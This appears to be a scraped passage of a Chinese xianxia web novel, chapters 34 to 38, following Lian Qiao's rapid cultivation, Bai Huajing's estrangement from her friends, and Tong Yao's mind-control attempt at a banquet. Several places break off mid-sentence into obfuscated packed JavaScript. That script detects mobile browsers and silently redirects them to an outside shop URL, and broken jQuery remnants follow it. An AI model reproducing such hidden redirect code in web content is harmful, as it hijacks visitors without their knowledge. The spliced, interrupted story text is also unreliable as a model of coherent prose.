云招摇抽空给她回了消息,“小白,我们在忙,等我有时间给你回讯息哦。” 关了万机,云招摇重新开始训练,白祺斩断面前的一根鬼藤,“她怎么了?” “不知道呢。”云招摇继续训练,“她现在在冲虚学院,应该没有什么大事。” 白祺耸一耸肩,“也是,她每天跟金丝雀一样被保护着,能有什么大事。” 说完后“啧”了一声,“也只有这位大小姐舒服,什么都不用操心,什么到手就有了,也不用急着好好修行,哪像我们啊,想要什么都要自己挣,也没有人将我们的生活安排好,每天忙得要死累得要命。” 云招摇顿了一下,但是没有反驳。 “别说了,专心练习吧。”云招摇拍了拍白祺的肩膀。 白花惊找了一圈,找到梅承襄倒是接了,但是是梅远山接的,他说梅承襄在关禁闭,这一个月都不会出门,也不能和任何人联系。 白花惊关掉万机,重重地叹了一口气后趴在桌子上。大家都在忙,都有自己的事做,就她一个人无所事事。 “吃吗?” 白花惊抬头,看到连乔坐在旁边桌上,手边有两盘点心,一边吃一边看书。 也不像看书,像是在看整理好的经卷,上面圈画的字很漂亮,秀丽且有力,而且看着还有些眼熟。 看到白花惊转过头,连乔将盘子上的莲蓉流心酥糕往前推了推,示意她去拿。 白花惊有些吃惊,她指了指自己,“我?” 连乔往四周望,“这里也没有别人啊。” 白花惊想了想,她其实不是很喜欢连翘,招摇她们说连翘脾气怪异,做事不走正途总是玩一些肮脏的小手段,特别玩世不恭。 但是连乔现在除了吃东西,就一直在看书,她还请自己吃东西,不像是不务正业还很坏的样子。 不,这一定是假象,她在故意示好,然后利用自己去对付招摇她们。 白花惊又坐回去。 哼,她才不会上当呢。 不过连乔好像也没注意她,刚才说话只是打招呼,现在她一直在低头看书,看得不快,看完了闭眼想很久才会翻页。 她一边看一边吃,头也不抬,盘子里的糕点只剩两块了……她吃的是什么啊,真的好香哦。 白花惊在心里暗暗地告诉自己,我只是为了吃一下那个糕点,我也不是很想理她。 她慢慢挪,慢慢挪,挪到连乔旁边,伸手拿了一块糕,然后伸头看一眼她。 哎别说,这糕真好吃,又香又酥,刚好她中午没吃饭,本来因为伤心不饿,现在吃上一口点心,肚子忽然就“咕噜咕噜”地叫起来。 连乔抬起头,看到白花惊又望窗外又看脚又摸摸头发,看上去很忙的样子。 “啊,怎么了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她又取出几瓶灵液,灵液种类很多,都用琉璃瓶装好,被细心的南道贴上了标签。 “有橘子味的糖水,也有荔枝味,还有蜜桃味的,你要哪个?” 白花惊停下手,不好,对方好像要收买她……不过她接受她的好意,不跟她处好关系,应该也不算背叛招摇她们吧。 于是连乔就看到白花惊一会儿笑嘻嘻,一会儿严肃脸,一会儿笑容憨态可掬,一会儿脸色奇冷无比,最后纠结了很久,十分高冷傲娇地抬起下巴,“那我每个口味都要一瓶吧。” 连乔:“……” 她将南道给她准备的所有灵液都取出来给白花惊,情绪一直很低落的小姑娘在吃饱喝足后,打了个饱嗝,心情舒适了很多。 她装作很冷漠的模样,“那今天谢谢你的款待吧……哎,人呢?” 白花惊追出去,发现连乔进了另一间教室,哦对,马上要上课了。白花惊取出万机,看了一眼下午的课程,哦,原来连乔是要去上课啊。 连乔已经看完书,开始翻下午老师要讲的内容。 白花惊挠了挠头,这好像和招摇她们说的不一样啊,不是说连翘傲慢无礼又不学无术嘛,可是她性格又好,人又慷慨,还这么努力…… 而且,她也没有故意拉拢自己啊,招摇她们是不是搞错了? 那明天再探探她的老底吧。 白花惊握紧了小拳头,给自己加油打气。 “小白,你怎么在这里?你下午不是没有课吗?” 云招摇几人上午练习完实战,下午来上理论课,看到白花惊,白祺挺吃惊。 她“嘻嘻”一笑,“小花惊,这里可是筑基学生才能来的地方哦,我们小花惊修为这么差,还得好好努力呢,不然可是连这门都进不去哦。” 白花惊用一中午才缓和过来的情绪瞬间又低至谷底,她不安地搓了搓手。 云招摇摸摸她的头,“没关系的小白,你已经做得很好了,晚上我们去好吃的吧,你等我们下课。” 白花惊莫名生出一丝抗拒,“不了,我……下午有别的事。” 白祺抱着胳膊,“你能有什么事嘛,我们知道你心情不好,特意花时间来陪你的。” 云招摇笑眯眯地望着她,“没事的小白,白祺嘴毒,你知道她没有恶意的,我们晚上再约啦。” 白花惊摇摇头,“不了,招摇姐,我真的还有事,先走了。” 她什么也没说,转身背着剑离开。 她瘦瘦弱弱的,背后的剑又高又大,像是要把她压垮。 35.第 35 章 林锦绣很奇怪,“小花惊怎么了,好像不高兴?” 白祺耸耸肩,“谁知道她发什么大小姐脾气呢?” 云招摇担忧地往外看了一眼,“应该没什么事,晚一点我再问问,我们先上课吧。” 几日来,连乔一直在看迟星垂做的笔记,等全部看完,她继续找迟星垂要新的。 她几乎天天定是找迟星垂问问题,迟星垂也是有问必答。 百丈河的星海蔓延到远方,看不见边际。迟星垂在这里没有时间的意识,他习惯了连乔到点就来,这时候他便会告诉自己。 又是新的一天了。 连乔一共找了他四十一次,已经过了四十一天。 等连乔看完迟星垂送过来的所有材料,修为又是连升两级,直接突破到筑基后期。 这速度,委实惊人。 连云招摇的师父,那位十分双标的长淮老道在再一次看到连乔时,也被她的长进给震惊到。 他甚至伸手探了探她的修为,看她是否走了岔路偷练某种秘法,又或者是磕了升级的猛药。 但是让他很失望,连乔这是正常进阶,没有走任何的弯路。 居然是个好苗子。 中午连乔去食堂吃饭,云招摇几人刚好在她身后。这几日云招摇几人要去人间历练,所以一直进行实战练习,在冲虚学院的时间很少,在乍一看到连乔时,她十分吃惊。 白祺的修为停滞很久,现在仍旧是筑基前期,她能看到连乔的修为最多道筑基前期。看到连乔走路都带风的样子,白祺从鼻腔里“哼”出一声,“你看她那嘚瑟傲慢的样子,不知道的还以为快突破元婴了呢,不就是刚筑基么?” “不是。”云招摇摇头,“我能看到她是筑基中期,但是看样子,可能比我修为还高一些。” 林锦绣“啊”了一声,“不能吧?” 云招摇是筑基中期,所以最高能看到连乔在筑基中期,也许不止,因为云招摇能清楚地感受到,连乔的后续之力极强,突破是随时的事。 即使不愿意,云招摇也不得不承认,连翘不再是那个不学无术能力欠缺的废柴,她的能力和爆发力,甚至在自己之上。 由于连翘从来都大方接受自己是妖修这个现实,一直找最适合她修行的方式,也因此她的后劲比自己强劲。 云招摇心中生出浓浓的不甘感。 她握着长剑的手不自觉地攥紧了,指节也因为用力而泛白。 林锦绣也觉得不可思议,“她是不是磕了药了?总觉得不太真实。” “走吧,下午还有另一场历练。”云招摇不喜欢背后夸人,也不想再继续这个话题,“她怎么样那是她的事,我们做好自己就行了。” “也对。”林锦绣点点头,忽然望着前面一个白衣姑娘,“哎,那不是小白花吗,她怎么和连乔走在一起了?” 这几日她们几个忙得晕头转向,在为人间历练做准备,所以白花惊来找她们,她们也经常不在。她们几人的修为远高于白花惊,带着她一起去训练也不合适,这段时间也和她来往得也不多。 白祺双手叉腰,“好啊这个小花精,这才多长时间啊,就跟那个死妖女搞在一起了。” 云招摇心中生出浓浓的被背叛感。白祺就要走过去质问,云招摇拦住她,“别问了,我们在忙自己的事。” “肯定是那个死妖女想拉拢白花惊,小白又单纯又好骗,勾勾手指头她就能跑过去。”白祺气急了,“不行,我要好好问问小白花怎么回事。” 白祺快步走到两人面前,拦住连乔。 连乔看到白祺挑了挑眉,“白祺姑娘有何指教?” 自从那一次她坑得梅承襄要脱裤子后,梅承襄和女主几人的关系也冷到冰点。梅承襄责怪她们几个做事不计较后果,白祺骂梅承襄没担当不像个男人。 梅承襄不仅被梅远山狠狠罚了一顿,还被关了一个月紧闭,被放出来后就像一只斗败了的公鸡,毛都蔫了下来,再也不敢在连乔面前造次。 少了那只公鸡耀武扬威,也没人再这么明目张胆地给女主团撑腰,这段时间连乔的日子非常悠闲顺利。 白祺用三角眼上下打量连乔一番,又转过去看着白花惊,“小白,你怎么跟她走一起了,怪不得我们约你晚上去看花灯,你也不理。” 白花惊很不喜欢白祺斜眼看人的样子,这中威慑感很强的态度让她很心慌,她不自在地低下头,“白祺姐,我晚上有点事。” “你有什么事?”白祺抱着胳膊,“你要跟着这妖女去干什么?” “不是的白祺姐,你不要这样说。”白花惊立刻为连乔辩护,“是我知道连翘姐姐那里有一位多家并修的大家,他能指导我根据我的特点去修行御气,所以我才请她带我去修习。” 白祺皱起了眉,“你修什么,御气?” “是的,白祺姐,我灵根不全,所以战力很弱,常规的修行对我来说太难了,但是我对灵力的波动和变化很敏感,可以练习御气。” 白花惊抬手,一团淡紫色的灵气伏在她手上,她十分高兴地给对方展示,“你看,我可以利用御气来辨别对方的攻击,比如我明明修为比你低很多,但是我却能看出来你是筑基中期,这就是我的修习。” 白祺皱起眉,脸色不悦,“小白花,你到底在做什么,放着正经的大家修行道不走,练什么歪门邪道的东西?” 白花惊语气有些慌,“不是歪门邪道,只是修行的人很少,也不突出,我现在还突破练习,如果有人指点方法得当,我是可以继续下去修我之道。” “呵呵。” 看到几人在争吵,云招摇和林锦绣也走过来,白祺怒极,将事情的原委复述一遍。 “也不知道连翘这死妖女给小白花喂了什么迷魂药,这么多大家不修,修一些听都没听过的东西。”她抱着胳膊,“连乔,你不要自己修行妖道,就要把别人也往不好的路上拉。” 连乔歪了歪头,“这么说你修的是大道了?” “没错。” “那你这悟性太差了,修这么久也没修出什么名堂么。” 云招摇瞥了连乔一眼,“小白,你是不是有难言之隐?” “她就是被那妖女骗了!”白祺实在是无语,“我真是服了她了,居然想着和这妖修来往,正经的修行才不会出错,你要是再这样执迷不悟,就等着走火入魔吧!” 白祺气鼓鼓离开,林锦绣跟了上去,云招摇顿了一下,想了想还是开口,“小白花,白峰主一直希望你法承大家,即使你修行他道,也应该和峰主商量一下。” 说完她追着二人离开的方向跑去。 白花惊怔住,她本来很开心地和她的朋友们分享这个好消息,想得到她们的夸奖和支持,但是她没有想到,她们却将她视为异类。 她在原地愣了好一会儿,原本心情欢呼雀跃,现在却怎么也高兴不起来了。 “连翘姐姐,我还有些事,晚上就不去你那边了。” “这些天谢谢你帮我。”白花惊心情很乱,她低着头看着鞋尖,“我先回剑宗了,晚上也有别的事,你帮我和你那位师父说一下,我就不过去了。” 她向连乔道歉后转身离开,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174932|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔不太会处理这些事,也不知道怎么安慰她。 “好吧,你路上小心。” 她望着白花惊背着剑小小的背影,看到她伸手揉了揉眼睛。 白祺离开后仍旧很生气,“我就不明白了,连乔给她灌什么迷魂汤了,她要抛弃自己原来的一切转学别的东西?她脑子是不是有问题?” 云招摇叹了一口气,“别这么说了,小白她心思单纯,不懂连翘的手段。” “怎么不懂啊,我们都提醒她多少次了。”白祺忿忿不平,“都说了连翘是一个卑劣的妖修,手段多种多样,让她离连翘远点,她一点都不听,就真的跟这么一个令人作呕的妖修混在一起了!” “要我说,有妖族血脉的,一个好东西也没有。” 听到白祺的话,云招摇的指甲嵌到肉里。 白祺还要说,云招摇打断她,“我们先回剑宗吧,过两日就要去桐花岭,我们要先做好准备。” “也是。”白祺叹了一口气,“对了,我听说这次桐花岭很危险,连灵玉师姐都折在里面了,我们还真要多花点心思。” 连乔到饭堂吃饭,刚坐下,背后传来一声惊呼。 “哎?连翘你突破了,你现在修为不低呢,哦吼,都快到筑基后期了!” 这声音大惊小怪,连乔不用回头也知道是谁。 童元宝坐在她对面,凌阿和邵吴兴也在,不过凌阿旁边还站了一个女子,那女子高挑白皙,身着束袖黛衣,头发也被束起,干净利落。连乔认出来,这位是现在乾元剑宗八大天才中之一——成英轩。 邵吴兴也跟着坐下,凌阿示意成英轩也坐下,邵吴兴道,“阿翘你真厉害,短短几月,不仅学会御剑,还连升多级。” “就是,可喜可贺,可喜可贺。”童元宝脑袋一昂,“这么让人高兴的事,让我们来摆一桌,走,我们去三楼开个包厢,想吃什么,我……邵吴兴包了!” 邵吴兴点点头,“是的阿翘,你想吃什么我包了。” “那怎么好意思?“”连乔笑了笑,“不过现在下午我有别的课,现在去三楼吃来不及,这样吧,我来请,我订了借酒楼,晚上我们去借酒楼聚一聚。” 邵吴兴摇头,“那怎么行呢,说好的我请。” “这次我突破了也要感谢你们的帮助,当然应该我来。”连乔将筷子放下,“你们的心意我领了,下次你们请。” “马上要开始午课,我得走了。”连乔想起来什么,她转过头,“迟星垂还在百丈河吗?他什么时候回来?” 童元宝道:“哦对,忘了跟你说,百丈河的事已经解决了,那小子早上刚回来,不知道又去哪里了。” 连乔点头,“知道了。” 到了学堂,连乔给迟星垂发讯息,“晚上连老板请客,在借酒楼,你来吗?” 这次迟星垂并没有回,连乔也没有指望他立刻回。迟星垂素日里独来独往惯了,总是神出鬼没,这次刚从百丈河回来,可能又接了别的任务,现在还未必就在乾元剑宗。 原著里迟星垂莫名其妙坠魔,有没有可能,就是在这东奔西走中染了魔气呢? 连乔不确定迟星垂现在有没有异化,又或者是什么时候会异化。再过一个月,抑制重心蛊的药要用完了,她打算开始停药。 她现在已经筑基,能够抑制体内的疼痛与六感,停药可以和迟星垂共感,掌握他的修为状态,如果他坠魔,她也能在第一时间知晓。 这时候万机忽然响了,连乔低头看,是迟星垂回的消息。 简简单单一个字:嗯。 连乔:…… 36.第 36 章 迟星垂站在水镜前,镜子中没有倒映出他修长的身影,是有无穷无尽的黑,像是一片黑洞,看久了连人也要被吸进去。 屋外的风刮进来,迟星垂的衣袖被吹得扬起,高束起的长发垂在身后,也随着衣袖翻飞。 有一个声音从水镜内响起,“星垂,你回来了?” “回来了师父。”迟星垂道,“百丈河那一带被绞碎的结界已经被修补好,如果不出现大的波动,应该能保持三年。” “嗯。”虞周子点头,“三年够了,为师应该能够查出来到底是什么原因,致使百丈河结界碎裂。” 百丈河是妖域和人族的界限,由百丈河川组成,又有上古时期留下的天然结界,所以妖域和人族之间泾渭分明相互隔离。 妖域和人界界限不能被打破,妖族汹涌野蛮,妖族侵入,人族会直接被绞碎。 百年前,妖族被魔族围剿,而百丈河刚好又因为异动出现大片缺口,导致妖族向人族迁徙,一部分妖族与人族结合、融合,留下血脉,部分遵从人族规则,成为妖修,亦有部分妖族始终保持嗜血妖性,祸乱人间。 这些年,修真界对逃逸至人间的妖族毫不姑息,或斩杀,或逼退至百丈河以内,所以保持了人界清灵。 但近些年来,地质异动频繁,百丈河的缺口不停被打破。原先虞周子也以为是天地轮转时的正常现象,但是直到半年前,他在百丈河的结界缺口,发现人为的痕迹。 痕迹很浅,出手也很高明,但是虞周子仍旧在痕迹上找到异常。 像是有人故意用手段催化地界异动。 百年前妖族迁徙导致死伤无数,现在妖族又要卷土重来? 虞周子觉得蹊跷。这次他没有去修补地界,而是让迟星垂出发前往结界破碎之地,自己则去昆仑镜内找异动的原因。 迟星垂做事向来滴水不漏,在虞周子察完异动原因的同时,他也将百丈河修补好。 虞周子透过水镜与迟星垂对话,“为师查过了,昆仑镜上显示,近期百丈河内没有明显的地理异动。” “没有么?”迟星垂陷入沉思,半晌后开口,“师父,昆仑镜会不会出错?” “为师也是在想这个问题,所以除了昆仑镜,也用了别的方式。”透过水镜的黑洞,虞周子的声音显得格外空灵,“崆峒印碎片也显示,这次不是正常的异动。” 虞周子的声音停顿了一会儿,“星垂,接下来的时间,为师要去妖族查一些东西,你对外便称为师闭关了,一直到重新见到为师为止。” “是,师父。” 水镜的黑洞消失,迟星垂坐到椅子上。 清理完百丈河内外的问题后,他的头一直很痛。头痛已经很久没有出现过了,自从连翘他们拿回来碧心兰,他的内伤就一直控制得很好。 迟星垂吃了一颗药,头疼缓和了一点。这时连乔的讯息传来,“晚上连老板请客,在借酒楼,你来吗?” 迟星垂望着“连老板”三个字,无声笑了。 这个连翘,上辈子和他一样,陷入莫名其妙的诅咒中,重活一世,极大可能变了一个人,性格也十分跳脱。 他望着远处的星海,星汉灿烂,夜空深邃,流转大片的星子。 连乔大概是怕他回绝,又补了一句,“除了我,童元宝他们都在,你不用担心你的名声会有什么影响。” 迟星垂:“……” 可能是觉得自己说得太多,连乔又将刚刚那句话撤掉,万机里面仅留了一句话,“晚上连老板请客,在借酒楼,你来吗?” 迟星垂有些好笑,他回了一个字:“嗯。” 连乔:“哦。” 迟星垂:“你好像不怎么高兴。” “我请客哎迟大公子,我花好多钱请客哎。”连乔补了一句,“你这语气,怎么好像是我求你来的,你要欢呼雀跃。” 迟星垂:“……我好高兴啊。” “……” 连乔强迫自己不要生气,“这么说你很乐意,你是自愿不是受我胁迫过来的?” 迟星垂反问:“你觉得你可以胁迫我吗?” “当然可以,我一哭二闹三上吊闹我自己,你也会没半条命。” 迟星垂:“这对你来说有什么好处吗?” “有。”连乔很真诚地回答,“我很不喜欢你特别傲慢高冷,而我又干不掉你的样子。” 坐在另一端的迟星垂忽然笑了,他甚至能想象对面连乔眯着眼铆足了信心,势必要将这件事办到的必胜表情。 好像头也没那么疼了。 连乔又给他发信息,“在借酒楼,会有人在楼下接你,不见不散哦。” 迟星垂将原本要发的“好”字去掉,又改成了“嗯。” 晚间,云来城的灯火又开始一片接着一片亮起,借酒楼的灯光从一楼开始,一层一层地往上亮,一座山便被灯火包裹住,显示出异样瑰丽的色彩。 童元宝坐在顶楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174933|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边喝酒一边吹牛,“连翘你不知道,当年评选乾元剑宗八大天才的时候,我不在,若我在,还轮得上那几位?” 乾元剑宗八大天才并不是剑宗所排,而是由弟子们自发投票推选而成,代表了乾元剑宗修为最高外表最光鲜的一派人。 童元宝指着成英轩,“我觉得真比试起来,我不输给你。” 凌阿在旁边阴恻恻加了一句,“但是你长得丑。” 童元宝一拍桌子,“谁长得丑?” “你,是你,你长得很丑。”凌阿道,“八大天才也要讲究形象,你脑袋很圆,像个元宝,脸也很圆,像只蹴鞠,八大天才需要门槛的,你连门槛都没够到。” 童元宝震惊了,内心像是受到极大的创伤,“那真要看形象,迟星垂必然能被推选上前三,他也没有选上啊。” “迟星垂是一开始就拒绝参加,你不一样,你想参加没人要。” 童元宝伤心了,他不可置信地望着凌阿,“好你个狼心狗肺见色忘义的狗东西,你帮着谁呢?!” “你都说我见色忘义了,我当然是帮阿英。” “但是成英轩也不能说漂亮,要是她把那半边面具摘下……” 邵吴兴冷声打断他,“元宝!” 童元宝的话收回,他像是被泼了一大罐冷水,酒也醒了一半。 他松开手,“对不起,我喝多了。” 成英轩摇摇头,“没关系的。” 凌阿不动声色将成英轩拉到身后,他这次却没阴阳怪气,“如果酒量不好,可以不喝,免得说一些不该说的话。” 邵吴兴道,“凌阿,元宝这次是喝多了,元宝,快道歉。” 童元宝立刻端起茶壶,往杯子里倒了一杯茶,转头对着成英轩,“阿英,我酒喝多了,我不是故意的,也不是那个意思,对不起。” 成英轩坐在凌阿旁边,她并不生气,反倒安慰凌阿,“没事,你不用生气。” 凌阿却仍旧没有说话,童元宝知道他这是真生气了,一摸脑袋,讪讪坐到一边,也不再喝酒吹牛了。 连乔听出来,成英轩好像有半张脸有问题,她现在戴了半张面具。面具很真,却不能完全贴合皮肤,仔细观察便能发现,在说话时,脸部肌肉会不自然。 连乔也没见过她笑。 这时门突然被扣响,连乔道“进来”,她估摸着迟星垂到时间来了,但是门打开,却让她一瞬间傻眼。 “你怎么来了?” 37.第 37 章 望着门口高挑笔直的人,连乔眯起眼睛,“是你?” 虽然系统给过她提醒,但是看到来人,她还是有些吃惊。 这么长时间,她一直对子午谷隐匿踪迹,而这群人也被她送至极东之地,一来一回少说也要半年。 现在,她刚有所突破,就找过来了? 瞳曜站在门口,黑衣流光溢彩,他今天像是装扮过,黑发被编起,束在身后,发尾挂上一圈铃铛,走一步响一声,说不出的诡异和勾引。 连乔想起第一次见迟星垂,迟星垂身上就挂了许多这样的铃铛。 果然是瞳曜这干的。 连乔靠坐在椅背上,瞳曜直接走到她身边,和她坐上了一个椅子。 连乔:“?” 童元宝本来是酒醒一半,现在是彻底醒了。 邵吴兴脸色不虞,却没有说什么,凌阿也有些发愣,成英轩脸部肌肉微微抽搐,同样是震惊的神色。 连乔皱眉,瞳曜贴近了,他环顾四周,“小谷主,很久没见了,你交新朋友了?” 他的声音里有责怪,更有质问,让连乔很不舒服。 连乔想让他滚开,但是意识却忽然不受她控制,她像是沉溺在这种感觉中。 瞳曜扫视一周,漆黑的瞳孔深不见底,他倒了一杯酒,喂给连乔,“小谷主,这么长时间没见,你快要把我忘了吧?” 连乔告诉自己不能这样,但是还是莫名低头,将瞳曜喂的酒喝下去。 瞳曜向其他人介绍,“你们好,我叫瞳曜,是连小谷主的……嗯,你们明白的……” 他没有继续说下去,而是用了一声更为轻佻的笑声。 这表情,这笑声,虽然什么也没说,但是又好像什么都说了。 童元宝看看邵吴兴,又看看凌阿,最后又望向连乔,目光中的奇怪和探究更甚。 连乔想说什么,但在瞳曜坐在她身边的那一瞬,她就控制不住自己的身体,意识也开始混乱迷糊。 瞳曜拉住她的手,连乔猛地一个激灵,她十分抗拒,更有反感和恶心。这一刻对身体有了一瞬的控制,她抽回手。 瞳曜明显一愣,但很快又恢复过来,继而弯眼一笑,“小谷主,是不是有人在你面前说我什么了?” 连乔的意识又像是陷入混沌,身体也开始反应迟钝。瞳曜每靠近她一次,她的意识和对身体的控制能力就往后退一步。 连乔十分讨厌与别人有亲密的举动,她厌恶瞳曜的靠近,这个瞳曜和原主之间应该是有某种不可说的关系,所以才敢在这种情况下肆无忌惮地出现这种行为。 现场上的人都被这个情况震惊到了,原本尴尬的气氛也变得不再尴尬,而是变得格外窒息。 童元宝向邵吴兴使眼色:我们要不要走? 邵吴兴:我觉得好像不太对。 童元宝又望向凌阿:有啥不对啊,你没听说过吗,瞳曜是连翘的……那啥?! 邵吴兴:……我还是觉得不太对。 童元宝:马上瞳曜要亲上去了,我们再待下去不合适,走不走啊? 凌阿:不走啊,我还想看看发生什么。 童元宝:…… 瞳曜又给连乔喂了一杯酒,连乔闻到他身上幽静的木制香味,像森林被雾气弥漫充斥后的黏湿味道,沾染在身上每一处,黏重又厚实。 她本能想拒绝,瞳曜握着酒杯的手停住,他望向连乔的眼睛。 她的眼尾微微上挑,在情绪激动时眼圈会泛红,明明是傲慢张扬的长相,在不说话直勾勾看人的时候,不仅楚楚可怜,还十分勾人。 瞳曜的喉结动了动。 虽然勾.引连翘引她堕落沉沦是他的任务,但不得不说,他也乐在其中。 连翘很漂亮,也很有意思。 如果她愿意,他就陪着她一辈子,一直这样浑浑噩噩也很好。 瞳曜不知不觉又扣住了连乔的手腕,连乔反感这种桎梏感,像是被关在某个密闭的空间——又让她想起一些不好的事。 在很久以前,在某个不见天日的狭窄空间中,窗户坚固无缝,寒冷刺骨像风暴一样袭来,她声嘶力竭,也没有任何人听到…… 那种窒息、迷茫、无助、痛苦、绝望……各种情绪一瞬间涌过来,像泛滥的潮水一样“轰”一声冲撞过来。 连乔来回反复几次,终于在这一刻彻底清醒,她猛地挣脱瞳曜的手。 瞳曜满眼不可置信,他不能理解,一直以来都困在他瞳境中的连乔怎么会突然挣脱? 只要是他了解过的人,将她的个人生辰、经历、喜好和忌讳全部摸清,再反馈到瞳境之中,就可以完全控制住她。 被瞳境困过的人,心魔会进一步查清她的情况,对症下药,被困在瞳境中的人也会无限放大内心欲望,甘愿沉沦,根据瞳境的诱导和指引,进一步走向不归之路。 就比如当初的连翘,在瞳境的蛊惑下,花下大力气将迟星垂绑架回子午谷。 虽然瞳曜不清楚为何瞳境会蛊惑连翘带回迟星垂,在当时的情况下,虽然连翘被迟来风迷得七荤八素,但她得不到迟来风,想找一个类似迟来风的替身,比迟星垂长得更像的,性格更像的,更听话的,多得是。 她大费周章将迟星垂绑架回子午谷,不仅会得罪云岭迟家,更会得罪乾元剑宗,这对于一直绞尽脑汁想入乾元剑宗的她来说,百害而无一利。 瞳曜当时确实不理解,连翘只是荒唐,还不至于脑残,包括到现在为止,他也不清楚为何瞳境如此蛊惑她。 不过这不重要,重要的是,连翘能受瞳境控制,听他话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179419|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说真的,好久不见,他还真的挺想念连翘的味道。 老谷主不让连翘有身体上的损伤——毕竟连翘身边有个默非,真动了她,默非那个人,会做点什么,谁也不知道。 那个默非来历神秘,能力也很强,连老谷主也要对他忌惮三分。 不主动伤害她,不代表连翘不可以主动堕落。瞳曜也发现了,只要不对连翘有实质性的伤害,不管连翘要做什么,默非不会出手阻拦。 瞳曜本是对自己的魅力有十成九的自信,对瞳境的力量是十成十地相信。 但是,这次连翘为什么会脱离掌控?! 按理说瞳境对她了解很深,她修为和能力有提升,但是还没到能抗拒瞳境的存在。 难道……这些天她在乾元剑宗,除了能力上有改变,性格、脾性和心性也受到影响么? 怪不得。 连乔推开瞳曜的手,从椅子上站起来,离远一些,才可以正常呼吸。 童元宝几人还在看,连乔开口,“你们先去楼下吧,我的人准备了灵浴和疗养,你们先在楼下休息一下,我处理一些事。” 邵吴兴看出了连乔的不自在,“元宝,走吧。” 凌阿还坐在原地,他本来还想继续看一下热闹,成英轩提醒他,“该走了。” 凌阿眨眨眼,“好吧。” 几个人刚出门,南道就急匆匆地从门外跑进来,“这是怎么搞的,不是人刚来吗,怎么这么快就去楼下了?连乔你哎……哎我特么……” 看到瞳曜,南道忍不住爆了个粗口,“你怎么在这?” 瞳曜原本要起身去搂连乔,却被连乔一个凶狠的眼神逼回去,瞳曜皱眉,心中不悦。 又偏心向南道了? 是该找个机会好好教训一下她。 南道对瞳曜没什么好态度,瞳曜的表情管理还是很到位,看到南道却仍旧是笑眯眯的,他开口打招呼,“南兄弟,好久不见。” “谁要跟你见面,老子希望你死外面,跟老子永远也见不了面!”南道驱逐他,“滚滚滚,这里没人欢迎你,你滚出去。” 瞳曜转过头来,对着连乔眼波流转,“小谷主,你看他,他赶我走呢。” 语气有威胁有蛊惑,连乔心中又生出一丝怪异的恐惧感——还是来自原主内心深处的感知,但是和上次不同,这一次的恐惧和反感没那么严重。 瞳曜望向连乔,阴柔俊美的脸看上去还有可怜,他漆黑的瞳孔有微微的光亮,眼圈微红,颇有让人怜惜的绿茶味。 可惜连乔不爱喝绿茶,她忍瞳曜很久了,当即一脚将瞳曜方才做得椅子踹飞,“让你滚就滚,你留在这里是等着我亲自踹你出去吗?” 向来没在连翘这里吃过闭门羹的瞳曜顿住,不可置信地望着她。 38.第 38 章 连乔赶走瞳曜,心悸才稍微平缓一些。南道问,“瞳曜怎么会知道我们在这里?” 是啊,自打离开胧月秘境,她就来到云来城,之后一直在云来城与冲虚学院之间来回。 南道陷入沉思,“借酒楼都是夫人的人,除了林老板他们,也没人知道你的行踪,难道是……” “不。”连乔打断他,“除了林叔他们,冲虚学院的老师和同窗们也都知道我的行踪,相比较怀疑他们,我认为学院那边泄露我消息的可能性更大。” “那怎么办?” “敌人在暗我在明,现在只能先以不变应万变,等慢慢敌人露出马脚再说。” 连乔坐下来,将脚搭在桌上,不知道为什么,头开始痛起来。 她按了按太阳穴,等自己稍微缓和一些,才开口,“老谷主一直在子午谷吗?” “是啊。”南道点头,“老谷主腿脚不方便,所以一直在谷里没出来过。” “老谷主以前和冲虚学院有来往?” “老谷主?应该没有。”南道不明所以,“据我所知,老谷主一直在子午谷,也就是早些年夫人还在的时候来几趟云来城……” “你问这个做什么?”南道一惊,“你怀疑是老谷主?” “不能吧,老谷主最疼你了,向来是对你百依百顺,你不会觉得瞳曜和老谷主有关系吧?” 南道这一点好,四肢发达,头脑简单,指哪打哪,多余的考量是一点没有。 当然,也可以说是玉非缘素日里做得滴水不漏,所以在外人——哪怕是连翘身边的人看来,他都是一个好前辈好父亲。 连乔也不再和南道多说,她挥了挥手,“你先下去吧,我一个人休息会儿。” 南道退下之前,问,“现在在灵汤池里面的那些……你的那些朋友,你要不要解释一下,或者让我和他们解释一番?” “不用了。”连乔道,“这种情况,越解释越乱,越显得我心虚。” 不去回应,反倒会让他们觉得蹊跷,认为其中可能有隐情。 “还有,瞳曜身上有一些很奇怪的东西。” 南道:“什么奇怪的东西?” 